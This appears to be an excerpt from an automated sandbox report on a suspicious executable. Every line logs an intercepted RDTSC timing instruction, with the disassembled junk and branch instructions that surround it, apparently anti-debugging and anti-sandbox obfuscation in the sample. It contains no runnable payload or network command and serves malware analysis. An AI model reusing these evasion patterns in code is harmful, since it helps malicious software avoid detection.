Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D0036 second address: 4D003C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D1EB0 second address: 4D1EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D1EB5 second address: 4D1EBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D1EBA second address: 4D1EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759D5FDE4Ah 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F759D5FDE57h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D1EE5 second address: 4D1EEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F759C763296h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D1EEF second address: 4D1EF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D2E6A second address: 4D2E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D2E6E second address: 4D2E7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D2E7B second address: 4D2EFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 mov bx, di 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F759C763298h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 call 00007F759C7632A6h 0x0000002c je 00007F759C76329Ch 0x00000032 xor ebx, 39811C32h 0x00000038 pop edi 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ebp 0x0000003e call 00007F759C763298h 0x00000043 pop ebp 0x00000044 mov dword ptr [esp+04h], ebp 0x00000048 add dword ptr [esp+04h], 0000001Ch 0x00000050 inc ebp 0x00000051 push ebp 0x00000052 ret 0x00000053 pop ebp 0x00000054 ret 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 jne 00007F759C763298h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D1151 second address: 4D1155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D2119 second address: 4D211F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D4144 second address: 4D4165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F759D5FDE56h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D211F second address: 4D2135 instructions: 0x00000000 rdtsc 0x00000002 js 00007F759C763296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e je 00007F759C76329Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4D70D4 second address: 4D7165 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007F759D5FDE46h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F759D5FDE48h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 xor ebx, dword ptr [ebp+122D3625h] 0x0000002f push dword ptr fs:[00000000h] 0x00000036 mov di, 5BF3h 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 push 00000000h 0x00000043 push esi 0x00000044 call 00007F759D5FDE48h 0x00000049 pop esi 0x0000004a mov dword ptr [esp+04h], esi 0x0000004e add dword ptr [esp+04h], 00000019h 0x00000056 inc esi 0x00000057 push esi 0x00000058 ret 0x00000059 pop esi 0x0000005a ret 0x0000005b mov dword ptr [ebp+122D29FAh], eax 0x00000061 mov ebx, dword ptr [ebp+124513ECh] 0x00000067 mov eax, dword ptr [ebp+122D02A9h] 0x0000006d or bh, FFFFFFFEh 0x00000070 mov dword ptr [ebp+122D281Dh], ecx 0x00000076 push FFFFFFFFh 0x00000078 mov dword ptr [ebp+12455B66h], edi 0x0000007e nop 0x0000007f pushad 0x00000080 jp 00007F759D5FDE4Ch 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4DFB62 second address: 4DFB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759C76329Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4DFB74 second address: 4DFB9C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F759D5FDE46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F759D5FDE59h 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4DFB9C second address: 4DFBB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759C7632A3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48137B second address: 48137F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 48137F second address: 481389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 481389 second address: 481393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F759D5FDE46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4E47EE second address: 4E47F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4E7BF4 second address: 4E7C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b pushad 0x0000000c jno 00007F759D5FDE46h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4EBF1A second address: 4EBF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4EBF1E second address: 4EBF2E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F759D5FDE46h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4EC484 second address: 4EC48A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4EC48A second address: 4EC49A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F759D5FDE46h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4EC49A second address: 4EC4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4EC5D7 second address: 4EC5DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4EC5DB second address: 4EC5E1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4EC5E1 second address: 4EC600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F759D5FDE57h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4EC600 second address: 4EC60A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F759C763296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4EC60A second address: 4EC62D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F759D5FDE58h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4EC76C second address: 4EC770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4EC770 second address: 4EC778 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4ECA53 second address: 4ECA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jc 00007F759C763296h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4ECA62 second address: 4ECA68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4ECBD7 second address: 4ECBDD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4ECD20 second address: 4ECD40 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F759D5FDE46h 0x00000008 jmp 00007F759D5FDE4Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ja 00007F759D5FDE4Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4ECD40 second address: 4ECD44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4ECD44 second address: 4ECD57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE4Eh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4F093A second address: 4F093E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BB06C second address: 4BB073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BB073 second address: 4A292D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C7632A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ecx, 70B2A601h 0x00000011 lea eax, dword ptr [ebp+1247FE1Fh] 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F759C763298h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 push edi 0x00000032 sub dword ptr [ebp+122D30E8h], eax 0x00000038 pop ecx 0x00000039 push eax 0x0000003a jmp 00007F759C76329Fh 0x0000003f mov dword ptr [esp], eax 0x00000042 mov dword ptr [ebp+122D3057h], eax 0x00000048 call dword ptr [ebp+122D260Eh] 0x0000004e push eax 0x0000004f push edx 0x00000050 push ebx 0x00000051 jmp 00007F759C7632A3h 0x00000056 pop ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 ja 00007F759C763296h 0x0000005f jc 00007F759C763296h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BB196 second address: 4BB19C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BB19C second address: 4BB1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BB60C second address: 4BB61D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F759D5FDE46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BB61D second address: 4BB621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BB621 second address: 4BB62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BB7B7 second address: 4BB7D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 pushad 0x0000000a jbe 00007F759C76329Ch 0x00000010 jns 00007F759C763296h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BBF9A second address: 4BBFCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F759D5FDE51h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BC2AE second address: 4BC2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BC2B2 second address: 4BC311 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F759D5FDE46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F759D5FDE4Fh 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F759D5FDE48h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D302Ch], edi 0x00000031 lea eax, dword ptr [ebp+1247FE1Fh] 0x00000037 jo 00007F759D5FDE49h 0x0000003d mov di, ax 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push edi 0x00000044 jp 00007F759D5FDE46h 0x0000004a pop edi 0x0000004b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4BC311 second address: 4A3471 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F759C763296h 0x00000009 jbe 00007F759C763296h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 mov edi, ebx 0x00000017 call dword ptr [ebp+122D2D52h] 0x0000001d pushad 0x0000001e push edi 0x0000001f jmp 00007F759C76329Ch 0x00000024 pop edi 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4A3471 second address: 4A3494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759D5FDE51h 0x00000009 jmp 00007F759D5FDE4Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4A3494 second address: 4A349D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4A349D second address: 4A34A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4F0D9B second address: 4F0DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F759C76329Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4F0DAE second address: 4F0DD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F759D5FDE4Ah 0x0000000a jmp 00007F759D5FDE54h 0x0000000f popad 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4F1308 second address: 4F130C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4F14A3 second address: 4F14C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F759D5FDE46h 0x0000000e jmp 00007F759D5FDE52h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4F14C3 second address: 4F14D1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F759C763296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4F14D1 second address: 4F14D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 47A79C second address: 47A7AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jc 00007F759C7632ACh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4F6E53 second address: 4F6E70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4F6E70 second address: 4F6E81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F759C763296h 0x00000009 jbe 00007F759C763296h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4F6E81 second address: 4F6EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F759D5FDE59h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4F6EA1 second address: 4F6EA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FCAE9 second address: 4FCAF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FB665 second address: 4FB676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F759C76329Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FB7C2 second address: 4FB7E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FB7E0 second address: 4FB7E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FB7E4 second address: 4FB7F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FBBA0 second address: 4FBBCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C76329Bh 0x00000007 jmp 00007F759C7632A4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnl 00007F759C76329Eh 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FBCFC second address: 4FBD00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FBE7B second address: 4FBE7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FBE7F second address: 4FBE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FC13E second address: 4FC147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FC147 second address: 4FC14F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FC14F second address: 4FC18A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007F759C763296h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 jns 00007F759C76329Ch 0x00000017 push ebx 0x00000018 jmp 00007F759C7632A8h 0x0000001d pop ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FC18A second address: 4FC18E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FC18E second address: 4FC194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FC2D9 second address: 4FC2DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4FC420 second address: 4FC42E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F759C763296h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
